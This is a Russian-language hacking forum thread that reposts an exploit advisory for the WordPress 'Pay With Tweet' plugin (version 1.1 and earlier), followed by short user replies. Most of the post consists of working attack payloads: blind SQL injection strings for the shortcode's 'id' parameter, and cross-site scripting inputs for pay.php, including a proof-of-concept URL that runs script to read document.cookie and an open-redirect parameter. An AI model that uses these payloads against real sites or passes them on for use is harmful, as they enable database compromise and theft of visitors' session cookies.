# Exploit Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple Vulnerabilities

[(Rossia)]

# Exploit Title: Wordpress Pay With Tweet plugin <= 1.1 Multiple
Vulnerabilities

[HIDE]50

1) Blind SQL Injection in shortcode:
 Short code parameter ‘id’ is prone to blind sqli,
 you need to be able to write a post/page to exploit this:

 [paywithtweet id="1' AND 1=2"]
 [paywithtweet id="1' AND 1=1"]

 2) Multiple XSS in pay.php

[Ссылки доступны только зарегистрированным пользователям
. Зарегистрируйся, чтобы увидеть ссылку.]

After connecting to twitter:
 ?link=&22></input>[XSS]
 After submitting the tweet:
 ?title=[XSS]&dl=[REDIRECT-TO-URL]%27)">[XSS]

 
POC: pay.php?link=%22></input><script>alert(document.cookie)</script>&title=<script>alert(document.cookie)</script>&dl=http://brindi.si%27"><script>alert(document.cookie)</script>

[/HIDE]

[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]

[dhak909]

Спасибо то что надо

[mironich]

[Ссылки доступны только зарегистрированным пользователям . Зарегистрируйся, чтобы увидеть ссылку.]
Эта тема для кого создана???????????????????????7